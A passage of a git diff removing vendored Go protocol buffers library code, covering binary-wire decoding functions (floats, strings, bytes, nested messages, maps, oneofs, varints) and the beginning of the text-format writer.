} - if len(b) < 8 { - return nil, io.ErrUnexpectedEOF - } - v := math.Float64frombits(uint64(b[0]) | uint64(b[1])<<8 | uint64(b[2])<<16 | uint64(b[3])<<24 | uint64(b[4])<<32 | uint64(b[5])<<40 | uint64(b[6])<<48 | uint64(b[7])<<56) - *f.toFloat64() = v - return b[8:], nil -} - -func unmarshalFloat64Ptr(b []byte, f pointer, w int) ([]byte, error) { - if w != WireFixed64 { - return b, errInternalBadWireType - } - if len(b) < 8 { - return nil, io.ErrUnexpectedEOF - } - v := math.Float64frombits(uint64(b[0]) | uint64(b[1])<<8 | uint64(b[2])<<16 | uint64(b[3])<<24 | uint64(b[4])<<32 | uint64(b[5])<<40 | uint64(b[6])<<48 | uint64(b[7])<<56) - *f.toFloat64Ptr() = &v - return b[8:], nil -} - -func unmarshalFloat64Slice(b []byte, f pointer, w int) ([]byte, error) { - if w == WireBytes { // packed - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - res := b[x:] - b = b[:x] - for len(b) > 0 { - if len(b) < 8 { - return nil, io.ErrUnexpectedEOF - } - v := math.Float64frombits(uint64(b[0]) | uint64(b[1])<<8 | uint64(b[2])<<16 | uint64(b[3])<<24 | uint64(b[4])<<32 | uint64(b[5])<<40 | uint64(b[6])<<48 | uint64(b[7])<<56) - s := f.toFloat64Slice() - *s = append(*s, v) - b = b[8:] - } - return res, nil - } - if w != WireFixed64 { - return b, errInternalBadWireType - } - if len(b) < 8 { - return nil, io.ErrUnexpectedEOF - } - v := math.Float64frombits(uint64(b[0]) | uint64(b[1])<<8 | uint64(b[2])<<16 | uint64(b[3])<<24 | uint64(b[4])<<32 | uint64(b[5])<<40 | uint64(b[6])<<48 | uint64(b[7])<<56) - s := f.toFloat64Slice() - *s = append(*s, v) - return b[8:], nil -} - -func unmarshalFloat32Value(b []byte, f pointer, w int) ([]byte, error) { - if w != WireFixed32 { - return b, errInternalBadWireType - } - if len(b) < 4 { - return nil, io.ErrUnexpectedEOF - } - v := math.Float32frombits(uint32(b[0]) | uint32(b[1])<<8 | uint32(b[2])<<16 | uint32(b[3])<<24) - *f.toFloat32() = v - return b[4:], nil -} - -func unmarshalFloat32Ptr(b []byte, f pointer, w int) ([]byte, error) { - if w != WireFixed32 { - return b, errInternalBadWireType - } - if len(b) < 4 { - return nil, io.ErrUnexpectedEOF - } - v := math.Float32frombits(uint32(b[0]) | uint32(b[1])<<8 | uint32(b[2])<<16 | uint32(b[3])<<24) - *f.toFloat32Ptr() = &v - return b[4:], nil -} - -func unmarshalFloat32Slice(b []byte, f pointer, w int) ([]byte, error) { - if w == WireBytes { // packed - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - res := b[x:] - b = b[:x] - for len(b) > 0 { - if len(b) < 4 { - return nil, io.ErrUnexpectedEOF - } - v := math.Float32frombits(uint32(b[0]) | uint32(b[1])<<8 | uint32(b[2])<<16 | uint32(b[3])<<24) - s := f.toFloat32Slice() - *s = append(*s, v) - b = b[4:] - } - return res, nil - } - if w != WireFixed32 { - return b, errInternalBadWireType - } - if len(b) < 4 { - return nil, io.ErrUnexpectedEOF - } - v := math.Float32frombits(uint32(b[0]) | uint32(b[1])<<8 | uint32(b[2])<<16 | uint32(b[3])<<24) - s := f.toFloat32Slice() - *s = append(*s, v) - return b[4:], nil -} - -func unmarshalStringValue(b []byte, f pointer, w int) ([]byte, error) { - if w != WireBytes { - return b, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - v := string(b[:x]) - *f.toString() = v - return b[x:], nil -} - -func unmarshalStringPtr(b []byte, f pointer, w int) ([]byte, error) { - if w != WireBytes { - return b, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - v := string(b[:x]) - *f.toStringPtr() = &v - return b[x:], nil -} - -func unmarshalStringSlice(b []byte, f pointer, w int) ([]byte, error) { - if w != WireBytes { - return b, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - v := string(b[:x]) - s := f.toStringSlice() - *s = append(*s, v) - return b[x:], nil -} - -func unmarshalUTF8StringValue(b []byte, f pointer, w int) ([]byte, error) { - if w != WireBytes { - return b, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - v := string(b[:x]) - *f.toString() = v - if !utf8.ValidString(v) { - return b[x:], errInvalidUTF8 - } - return b[x:], nil -} - -func unmarshalUTF8StringPtr(b []byte, f pointer, w int) ([]byte, error) { - if w != WireBytes { - return b, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - v := string(b[:x]) - *f.toStringPtr() = &v - if !utf8.ValidString(v) { - return b[x:], errInvalidUTF8 - } - return b[x:], nil -} - -func unmarshalUTF8StringSlice(b []byte, f pointer, w int) ([]byte, error) { - if w != WireBytes { - return b, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - v := string(b[:x]) - s := f.toStringSlice() - *s = append(*s, v) - if !utf8.ValidString(v) { - return b[x:], errInvalidUTF8 - } - return b[x:], nil -} - -var emptyBuf [0]byte - -func unmarshalBytesValue(b []byte, f pointer, w int) ([]byte, error) { - if w != WireBytes { - return b, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - // The use of append here is a trick which avoids the zeroing - // that would be required if we used a make/copy pair. - // We append to emptyBuf instead of nil because we want - // a non-nil result even when the length is 0. - v := append(emptyBuf[:], b[:x]...) - *f.toBytes() = v - return b[x:], nil -} - -func unmarshalBytesSlice(b []byte, f pointer, w int) ([]byte, error) { - if w != WireBytes { - return b, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - v := append(emptyBuf[:], b[:x]...) - s := f.toBytesSlice() - *s = append(*s, v) - return b[x:], nil -} - -func makeUnmarshalMessagePtr(sub *unmarshalInfo, name string) unmarshaler { - return func(b []byte, f pointer, w int) ([]byte, error) { - if w != WireBytes { - return b, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - // First read the message field to see if something is there. - // The semantics of multiple submessages are weird. Instead of - // the last one winning (as it is for all other fields), multiple - // submessages are merged. - v := f.getPointer() - if v.isNil() { - v = valToPointer(reflect.New(sub.typ)) - f.setPointer(v) - } - err := sub.unmarshal(v, b[:x]) - if err != nil { - if r, ok := err.(*RequiredNotSetError); ok { - r.field = name + "." + r.field - } else { - return nil, err - } - } - return b[x:], err - } -} - -func makeUnmarshalMessageSlicePtr(sub *unmarshalInfo, name string) unmarshaler { - return func(b []byte, f pointer, w int) ([]byte, error) { - if w != WireBytes { - return b, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - v := valToPointer(reflect.New(sub.typ)) - err := sub.unmarshal(v, b[:x]) - if err != nil { - if r, ok := err.(*RequiredNotSetError); ok { - r.field = name + "." + r.field - } else { - return nil, err - } - } - f.appendPointer(v) - return b[x:], err - } -} - -func makeUnmarshalGroupPtr(sub *unmarshalInfo, name string) unmarshaler { - return func(b []byte, f pointer, w int) ([]byte, error) { - if w != WireStartGroup { - return b, errInternalBadWireType - } - x, y := findEndGroup(b) - if x < 0 { - return nil, io.ErrUnexpectedEOF - } - v := f.getPointer() - if v.isNil() { - v = valToPointer(reflect.New(sub.typ)) - f.setPointer(v) - } - err := sub.unmarshal(v, b[:x]) - if err != nil { - if r, ok := err.(*RequiredNotSetError); ok { - r.field = name + "." + r.field - } else { - return nil, err - } - } - return b[y:], err - } -} - -func makeUnmarshalGroupSlicePtr(sub *unmarshalInfo, name string) unmarshaler { - return func(b []byte, f pointer, w int) ([]byte, error) { - if w != WireStartGroup { - return b, errInternalBadWireType - } - x, y := findEndGroup(b) - if x < 0 { - return nil, io.ErrUnexpectedEOF - } - v := valToPointer(reflect.New(sub.typ)) - err := sub.unmarshal(v, b[:x]) - if err != nil { - if r, ok := err.(*RequiredNotSetError); ok { - r.field = name + "." + r.field - } else { - return nil, err - } - } - f.appendPointer(v) - return b[y:], err - } -} - -func makeUnmarshalMap(f *reflect.StructField) unmarshaler { - t := f.Type - kt := t.Key() - vt := t.Elem() - unmarshalKey := typeUnmarshaler(kt, f.Tag.Get("protobuf_key")) - unmarshalVal := typeUnmarshaler(vt, f.Tag.Get("protobuf_val")) - return func(b []byte, f pointer, w int) ([]byte, error) { - // The map entry is a submessage. Figure out how big it is. - if w != WireBytes { - return nil, fmt.Errorf("proto: bad wiretype for map field: got %d want %d", w, WireBytes) - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - r := b[x:] // unused data to return - b = b[:x] // data for map entry - - // Note: we could use #keys * #values ~= 200 functions - // to do map decoding without reflection. Probably not worth it. - // Maps will be somewhat slow. Oh well. - - // Read key and value from data. - var nerr nonFatal - k := reflect.New(kt) - v := reflect.New(vt) - for len(b) > 0 { - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - wire := int(x) & 7 - b = b[n:] - - var err error - switch x >> 3 { - case 1: - b, err = unmarshalKey(b, valToPointer(k), wire) - case 2: - b, err = unmarshalVal(b, valToPointer(v), wire) - default: - err = errInternalBadWireType // skip unknown tag - } - - if nerr.Merge(err) { - continue - } - if err != errInternalBadWireType { - return nil, err - } - - // Skip past unknown fields. - b, err = skipField(b, wire) - if err != nil { - return nil, err - } - } - - // Get map, allocate if needed. - m := f.asPointerTo(t).Elem() // an addressable map[K]T - if m.IsNil() { - m.Set(reflect.MakeMap(t)) - } - - // Insert into map. - m.SetMapIndex(k.Elem(), v.Elem()) - - return r, nerr.E - } -} - -// makeUnmarshalOneof makes an unmarshaler for oneof fields. -// for: -// message Msg { -// oneof F { -// int64 X = 1; -// float64 Y = 2; -// } -// } -// typ is the type of the concrete entry for a oneof case (e.g. Msg_X). -// ityp is the interface type of the oneof field (e.g. isMsg_F). -// unmarshal is the unmarshaler for the base type of the oneof case (e.g. int64). -// Note that this function will be called once for each case in the oneof. -func makeUnmarshalOneof(typ, ityp reflect.Type, unmarshal unmarshaler) unmarshaler { - sf := typ.Field(0) - field0 := toField(&sf) - return func(b []byte, f pointer, w int) ([]byte, error) { - // Allocate holder for value. - v := reflect.New(typ) - - // Unmarshal data into holder. - // We unmarshal into the first field of the holder object. - var err error - var nerr nonFatal - b, err = unmarshal(b, valToPointer(v).offset(field0), w) - if !nerr.Merge(err) { - return nil, err - } - - // Write pointer to holder into target field. - f.asPointerTo(ityp).Elem().Set(v) - - return b, nerr.E - } -} - -// Error used by decode internally. -var errInternalBadWireType = errors.New("proto: internal error: bad wiretype") - -// skipField skips past a field of type wire and returns the remaining bytes. -func skipField(b []byte, wire int) ([]byte, error) { - switch wire { - case WireVarint: - _, k := decodeVarint(b) - if k == 0 { - return b, io.ErrUnexpectedEOF - } - b = b[k:] - case WireFixed32: - if len(b) < 4 { - return b, io.ErrUnexpectedEOF - } - b = b[4:] - case WireFixed64: - if len(b) < 8 { - return b, io.ErrUnexpectedEOF - } - b = b[8:] - case WireBytes: - m, k := decodeVarint(b) - if k == 0 || uint64(len(b)-k) < m { - return b, io.ErrUnexpectedEOF - } - b = b[uint64(k)+m:] - case WireStartGroup: - _, i := findEndGroup(b) - if i == -1 { - return b, io.ErrUnexpectedEOF - } - b = b[i:] - default: - return b, fmt.Errorf("proto: can't skip unknown wire type %d", wire) - } - return b, nil -} - -// findEndGroup finds the index of the next EndGroup tag. -// Groups may be nested, so the "next" EndGroup tag is the first -// unpaired EndGroup. -// findEndGroup returns the indexes of the start and end of the EndGroup tag. -// Returns (-1,-1) if it can't find one. -func findEndGroup(b []byte) (int, int) { - depth := 1 - i := 0 - for { - x, n := decodeVarint(b[i:]) - if n == 0 { - return -1, -1 - } - j := i - i += n - switch x & 7 { - case WireVarint: - _, k := decodeVarint(b[i:]) - if k == 0 { - return -1, -1 - } - i += k - case WireFixed32: - if len(b)-4 < i { - return -1, -1 - } - i += 4 - case WireFixed64: - if len(b)-8 < i { - return -1, -1 - } - i += 8 - case WireBytes: - m, k := decodeVarint(b[i:]) - if k == 0 { - return -1, -1 - } - i += k - if uint64(len(b)-i) < m { - return -1, -1 - } - i += int(m) - case WireStartGroup: - depth++ - case WireEndGroup: - depth-- - if depth == 0 { - return j, i - } - default: - return -1, -1 - } - } -} - -// encodeVarint appends a varint-encoded integer to b and returns the result. -func encodeVarint(b []byte, x uint64) []byte { - for x >= 1<<7 { - b = append(b, byte(x&0x7f|0x80)) - x >>= 7 - } - return append(b, byte(x)) -} - -// decodeVarint reads a varint-encoded integer from b. -// Returns the decoded integer and the number of bytes read. -// If there is an error, it returns 0,0. -func decodeVarint(b []byte) (uint64, int) { - var x, y uint64 - if len(b) == 0 { - goto bad - } - x = uint64(b[0]) - if x < 0x80 { - return x, 1 - } - x -= 0x80 - - if len(b) <= 1 { - goto bad - } - y = uint64(b[1]) - x += y << 7 - if y < 0x80 { - return x, 2 - } - x -= 0x80 << 7 - - if len(b) <= 2 { - goto bad - } - y = uint64(b[2]) - x += y << 14 - if y < 0x80 { - return x, 3 - } - x -= 0x80 << 14 - - if len(b) <= 3 { - goto bad - } - y = uint64(b[3]) - x += y << 21 - if y < 0x80 { - return x, 4 - } - x -= 0x80 << 21 - - if len(b) <= 4 { - goto bad - } - y = uint64(b[4]) - x += y << 28 - if y < 0x80 { - return x, 5 - } - x -= 0x80 << 28 - - if len(b) <= 5 { - goto bad - } - y = uint64(b[5]) - x += y << 35 - if y < 0x80 { - return x, 6 - } - x -= 0x80 << 35 - - if len(b) <= 6 { - goto bad - } - y = uint64(b[6]) - x += y << 42 - if y < 0x80 { - return x, 7 - } - x -= 0x80 << 42 - - if len(b) <= 7 { - goto bad - } - y = uint64(b[7]) - x += y << 49 - if y < 0x80 { - return x, 8 - } - x -= 0x80 << 49 - - if len(b) <= 8 { - goto bad - } - y = uint64(b[8]) - x += y << 56 - if y < 0x80 { - return x, 9 - } - x -= 0x80 << 56 - - if len(b) <= 9 { - goto bad - } - y = uint64(b[9]) - x += y << 63 - if y < 2 { - return x, 10 - } - -bad: - return 0, 0 -} diff --git a/vendor/github.com/golang/protobuf/proto/text.go b/vendor/github.com/golang/protobuf/proto/text.go deleted file mode 100644 index 1aaee725b4..0000000000 --- a/vendor/github.com/golang/protobuf/proto/text.go +++ /dev/null @@ -1,843 +0,0 @@ -// Go support for Protocol Buffers - Google's data interchange format -// -// Copyright 2010 The Go Authors. All rights reserved. -// https://github.com/golang/protobuf -// -// Redistribution and use in source and binary forms, with or without -// modification, are permitted provided that the following conditions are -// met: -// -// * Redistributions of source code must retain the above copyright -// notice, this list of conditions and the following disclaimer. -// * Redistributions in binary form must reproduce the above -// copyright notice, this list of conditions and the following disclaimer -// in the documentation and/or other materials provided with the -// distribution. -// * Neither the name of Google Inc. nor the names of its -// contributors may be used to endorse or promote products derived from -// this software without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - -package proto - -// Functions for writing the text protocol buffer format. - -import ( - "bufio" - "bytes" - "encoding" - "errors" - "fmt" - "io" - "log" - "math" - "reflect" - "sort" - "strings" -) - -var ( - newline = []byte("\n") - spaces = []byte(" ") - endBraceNewline = []byte("}\n") - backslashN = []byte{'\\', 'n'} - backslashR = []byte{'\\', 'r'} - backslashT = []byte{'\\', 't'} - backslashDQ = []byte{'\\', '"'} - backslashBS = []byte{'\\', '\\'} - posInf = []byte("inf") - negInf = []byte("-inf") - nan = []byte("nan") -) - -type writer interface { - io.Writer - WriteByte(byte) error -} - -// textWriter is an io.Writer that tracks its indentation level. -type textWriter struct { - ind int - complete bool // if the current position is a complete line - compact bool // whether to write out as a one-liner - w writer -} - -func (w *textWriter) WriteString(s string) (n int, err error) { - if !strings.Contains(s, "\n") { - if !w.compact && w.complete { - w.writeIndent() - } - w.complete = false - return io.WriteString(w.w, s) - } - // WriteString is typically called without newlines, so this - // codepath and its copy are rare. We copy to avoid - // duplicating all of Write's logic here. - return w.Write([]byte(s)) -} - -func (w *textWriter) Write(p []byte) (n int, err error) { - newlines := bytes.Count(p, newline) - if newlines == 0 { - if !w.compact && w.complete { - w.writeIndent() - } - n, err = w.w.Write(p) - w.complete = false - return n, err - } - - frags := bytes.SplitN(p, newline, newlines+1) - if w.compact { - for i, frag := range frags { - if i > 0 { - if err := w.w.WriteByte(' '); err != nil { - return n, err - } - n++ - } - nn, err := w.w.Write(frag) - n += nn - if err != nil { - return n, err - } - } - return n, nil - } - - for i, frag := range frags { - if w.complete { - w.writeIndent() - } - nn, err := w.w.Write(frag) - n += nn - if err != nil { - return n, err - } - if i+1 < len(frags) { - if err := w.w.WriteByte('\n'); err != nil { - return n, err - } - n++ - } - } - w.complete = len(frags[len(frags)-1]) == 0 - return n, nil -} - -func (w *textWriter) WriteByte(c byte) error { - if w.compact && c == '\n' { - c = ' ' - } - if !w.compact && w.complete { - w.writeIndent() - } - err := w.w.WriteByte(c) - w.complete = c == '\n' - return err -} - -func (w *textWriter) indent() { w.ind++ } - -func (w *textWriter) unindent() { - if w.ind == 0 { - log.Print("proto: textWriter unindented too far") - return - } - w.ind-- -} - -func writeName(w *textWriter, props *Properties) error { - if _, err := w.WriteString(props.OrigName); err != nil { - return err - } - if props.Wire != "group" { - return w.WriteByte(':') - } - return nil -} - -func requiresQuotes(u string) bool { - // When type URL contains any characters except [0-9A-Za-z./\-]*, it must be quoted. - for _, ch := range u { - switch { - case ch == '.' || ch == '/' || ch == '_': - continue - case '0' <= ch && ch <= '9': - continue - case 'A' <= ch && ch <= 'Z': - continue - case 'a' <= ch && ch <= 'z': - continue - default: - return true - } - } - return false -} - -// isAny reports whether sv is a google.protobuf.Any message -func isAny(sv reflect.Value) bool { - type wkt interface { - XXX_WellKnownType() string - } - t, ok := sv.Addr().Interface().(wkt) - return ok && t.XXX_WellKnownType() == "Any" -} - -// writeProto3Any writes an expanded google.protobuf.Any message. -// -// It returns (false, nil) if sv value can't be unmarshaled (e.g. because -// required messages are not linked in). -// -// It returns (true, error) when sv was written in expanded format or an error -// was encountered. -func (tm *TextMarshaler) writeProto3Any(w *textWriter, sv reflect.Value) (bool, error) { - turl := sv.FieldByName("TypeUrl") - val := sv.FieldByName("Value") - if !turl.IsValid() || !val.IsValid() { - return true, errors.New("proto: invalid google.protobuf.Any message") - } - - b, ok := val.Interface().([]byte) - if !ok { - return true, errors.New("proto: invalid google.protobuf.Any message") - } - - parts := strings.Split(turl.String(), "/") - mt := MessageType(parts[len(parts)-1]) - if mt == nil { - return false, nil - } - m := reflect.New(mt.Elem()) - if err := Unmarshal(b, m.Interface().(Message)); err != nil { - return false, nil - } - w.Write([]byte("[")) - u := turl.String() - if requiresQuotes(u) { - writeString(w, u) - } else { - w.Write([]byte(u)) - } - if w.compact { - w.Write([]byte("]:<")) - } else { - w.Write([]byte("]: <\n")) - w.ind++ - } - if err := tm.writeStruct(w, m.Elem()); err != nil { - return true, err - } - if w.compact { - w.Write([]byte("> ")) - } else { - w.ind-- - w.Write([]byte(">\n")) - } - return true, nil -} - -func (tm *TextMarshaler) writeStruct(w *textWriter, sv reflect.Value) error { - if tm.ExpandAny && isAny(sv) { - if canExpand, err := tm.writeProto3Any(w, sv); canExpand { - return err - } - } - st := sv.Type() - sprops := GetProperties(st) - for i := 0; i < sv.NumField(); i++ { - fv := sv.Field(i) - props := sprops.Prop[i] - name := st.Field(i).Name - - if name == "XXX_NoUnkeyedLiteral" { - continue - } - - if strings.HasPrefix(name, "XXX_") { - // There are two XXX_ fields: - // XXX_unrecognized []byte - // XXX_extensions map[int32]proto.Extension - // The first is handled here; - // the second is handled at the bottom of this function. - if name == "XXX_unrecognized" && !fv.IsNil() { - if err := writeUnknownStruct(w, fv.Interface().([]byte)); err != nil { - return err - } - } - continue - } - if fv.Kind() == reflect.Ptr && fv.IsNil() { - // Field not filled in. This could be an optional field or - // a required field that wasn't filled in. Either way, there - // isn't anything we can show for it. - continue - } - if fv.Kind() == reflect.Slice && fv.IsNil() { - // Repeated field that is empty, or a bytes field that is unused. - continue - } - - if props.Repeated && fv.Kind() == reflect.Slice { - // Repeated field. - for j := 0; j < fv.Len(); j++ { - if err := writeName(w, props); err != nil { - return err - } - if !w.compact { - if err := w.WriteByte(' '); err != nil { - return err - } - } - v := fv.Index(j) - if v.Kind() == reflect.Ptr && v.IsNil() { - // A nil message in a repeated field is not valid, - // but we can handle that more gracefully than panicking. - if _, err := w.Write([]byte("\n")); err != nil { - return err - } - continue - } - if err := tm.writeAny(w, v, props); err != nil { - return err - } - if err := w.WriteByte('\n'); err != nil { - return err - } - } - continue - } - if fv.Kind() == reflect.Map { - // Map fields are rendered as a repeated struct with key/value fields. - keys := fv.MapKeys() - sort.Sort(mapKeys(keys)) - for _, key := range keys { - val := fv.MapIndex(key) - if err := writeName(w, props); err != nil { - return err - } - if !w.compact { - if err := w.WriteByte(' '); err != nil { - return err - } - } - // open struct - if err := w.WriteByte('<'); err != nil { - return err - } - if !w.compact { - if err := w.WriteByte('\n'); err != nil { - return err - } - } - w.indent() - // key - if _, err := w.WriteString("key:"); err != nil { - return err - } - if !w.compact { - if err := w.WriteByte(' '); err != nil { - return err - } - } - if err := tm.writeAny(w, key, props.MapKeyProp); err != nil { - return err - } - if err := w.WriteByte('\n'); err != nil { - return err - } - // nil values aren't legal, but we can avoid panicking because of them. - if val.Kind() != reflect.Ptr || !val.IsNil() { - // value - if _, err := w.WriteString("value:"); err != nil { - return err - } - if !w.compact { - if err := w.WriteByte(' '); err != nil { - return err - } - } - if err := tm.writeAny(w, val, props.MapValProp); err != nil { - return err - } - if err := w.WriteByte('\n'); err != nil { - return err - } - } - // close struct - w.unindent() - if err := w.WriteByte('>'); err != nil { - return err - } - if err := w.WriteByte('\n'); err != nil { - return err - } - } - continue - } - if props.proto3 && fv.Kind() == reflect.Slice && fv.Len() == 0 { - // empty bytes field - continue - } - if fv.Kind() != reflect.Ptr && fv.Kind() != reflect.Slice { - // proto3 non-repeated scalar field; skip if zero value - if isProto3Zero(fv) { - continue - } - } - - if fv.Kind() == reflect.Interface { - // Check if it is a oneof. - if st.Field(i).Tag.Get("protobuf_oneof") != "" { - // fv is nil, or holds a pointer to generated struct. - // That generated struct has exactly one field, - // which has a protobuf struct tag. - if fv.IsNil() { - continue - } - inner := fv.Elem().Elem() // interface -> *T -> T - tag := inner.Type().Field(0).Tag.Get("protobuf") - props = new(Properties) // Overwrite the outer props var, but not its pointee. - props.Parse(tag) - // Write the value in the oneof, not the oneof itself. - fv = inner.Field(0) - - // Special case to cope with malformed messages gracefully: - // If the value in the oneof is a nil pointer, don't panic - // in writeAny. - if fv.Kind() == reflect.Ptr && fv.IsNil() { - // Use errors.New so writeAny won't render quotes. - msg := errors.New("/* nil */") - fv = reflect.ValueOf(&msg).Elem() - } - } - } - - if err := writeName(w, props); err != nil { - return err - } - if !w.compact { - if err := w.WriteByte(' '); err != nil { - return err - } - } - - // Enums have a String method, so writeAny will work fine. - if err := tm.writeAny(w, fv, props); err != nil { - return err - } - - if err := w.WriteByte('\n'); err != nil { - return err - } - } - - // Extensions (the XXX_extensions field). - pv := sv.Addr() - if _, err := extendable(pv.Interface()); err == nil { - if err := tm.writeExtensions(w, pv); err != nil { - return err - } - } - - return nil -} - -// writeAny writes an arbitrary field. -func (tm *TextMarshaler) writeAny(w *textWriter, v reflect.Value, props *Properties) error { - v = reflect.Indirect(v) - - // Floats have special cases. - if v.Kind() == reflect.Float32 || v.Kind() == reflect.Float64 { - x := v.Float() - var b []byte - switch { - case math.IsInf(x, 1): - b = posInf - case math.IsInf(x, -1): - b = negInf - case math.IsNaN(x): - b = nan - } - if b != nil { - _, err := w.Write(b) - return err - } - // Other values are handled below. - } - - // We don't attempt to serialise every possible value type; only those - // that can occur in protocol buffers. - switch v.Kind() { - case reflect.Slice: - // Should only be a []byte; repeated fields are handled in writeStruct. - if err := writeString(w, string(v.Bytes())); err != nil { - return err - } - case reflect.String: - if err := writeString(w, v.String()); err != nil { - return err - } - case reflect.Struct: - // Required/optional group/message. - var bra, ket byte = '<', '>' - if props != nil && props.Wire == "group" { - bra, ket = '{', '}' - } - if err := w.WriteByte(bra); err != nil { - return err - } - if !w.compact { - if err := w.WriteByte('\n'); err != nil { - return err - } - } - w.indent() - if v.CanAddr() { - // Calling v.Interface on a struct causes the reflect package to - // copy the entire struct. This is racy with the new Marshaler - // since we atomically update the XXX_sizecache. - // - // Thus, we retrieve a pointer to the struct if possible to avoid - // a race since v.Interface on the pointer doesn't copy the struct. - // - // If v is not addressable, then we are not worried about a race - // since it implies that the binary Marshaler cannot possibly be - // mutating this value. - v = v.Addr() - } - if etm, ok := v.Interface().(encoding.TextMarshaler); ok { - text, err := etm.MarshalText() - if err != nil { - return err - } - if _, err = w.Write(text); err != nil { - return err - } - } else { - if v.Kind() == reflect.Ptr { - v = v.Elem() - } - if err := tm.writeStruct(w, v); err != nil { - return err - } - } - w.unindent() - if err := w.WriteByte(ket); err != nil { - return err - } - default: - _, err := fmt.Fprint(w, v.Interface()) - return err - } - return nil -} - -// equivalent to C's isprint. -func isprint(c byte) bool { - return c >= 0x20 && c < 0x7f -} - -// writeString writes a string in the protocol buffer text format. -// It is similar to strconv.Quote except we don't use Go escape sequences, -// we treat the string as a byte sequence, and we use octal escapes. -// These differences are to maintain interoperability with the other -// languages' implementations of the text format. -func writeString(w *textWriter, s string) error { - // use WriteByte here to get any needed indent - if err := w.WriteByte('"'); err != nil { - return err - } - // Loop over the bytes, not the runes. - for i := 0; i < len(s); i++ { - var err error - // Divergence from C++: we don't escape apostrophes. - // There's no need to escape them, and the C++ parser - // copes with a naked apostrophe. - switch c := s[i]; c { - case '\n': - _, err = w.w.Write(backslashN) - case '\r': - _, err = w.w.Write(backslashR) - case '\t': - _, err = w.w.Write(backslashT) - case '"': - _, err = w.w.Write(backslashDQ) - case '\\': - _, err = w.w.Write(backslashBS) - default: - if isprint(c) { - err = w.w.WriteByte(c) - } else { - _, err = fmt.Fprintf(w.w, "\\%03o", c) - } - } - if err != nil { - return err - } - } - return w.WriteByte('"') -} - -func writeUnknownStruct(w *textWriter, data []byte) (err error) { - if !w.compact { - if _, err := fmt.Fprintf(w, "/* %d unknown bytes */\n", len(data)); err != nil { - return err - } - } - b := NewBuffer(data) - for b.index < len(b.buf) { - x, err := b.DecodeVarint() - if err != nil { - _, err := fmt.Fprintf(w, "/* %v */\n", err) - return err - } - wire, tag := x&7, x>>3 - if wire == WireEndGroup { - w.unindent() - if _, err := w.Write(endBraceNewline); err != nil { - return err - } - continue - } - if _, err := fmt.Fprint(w, tag); err != nil { - return err - } - if wire != WireStartGroup { - if err := w.WriteByte(':'); err != nil { - return err - } - } - if !w.compact || wire == WireStartGroup { - if err := w.WriteByte(' '); err != nil { - return err - } - } - switch wire { - case WireBytes: - buf, e := b.DecodeRawBytes(false) - if e == nil { - _, err = fmt.Fprintf(w, "%q", buf) - } else { - _, err = fmt.Fprintf(w, "/* %v */", e) - } - case WireFixed32: - x, err = b.DecodeFixed32() - err = writeUnknownInt(w, x, err) - case WireFixed64: - x, err = b.DecodeFixed64() - err = writeUnknownInt(w, x, err) - case WireStartGroup: - err = w.WriteByte('{') - w.indent() - case WireVarint: - x, err = b.DecodeVarint() - err = writeUnknownInt(w, x, err) - default: - _, err = fmt.Fprintf(w, "/* 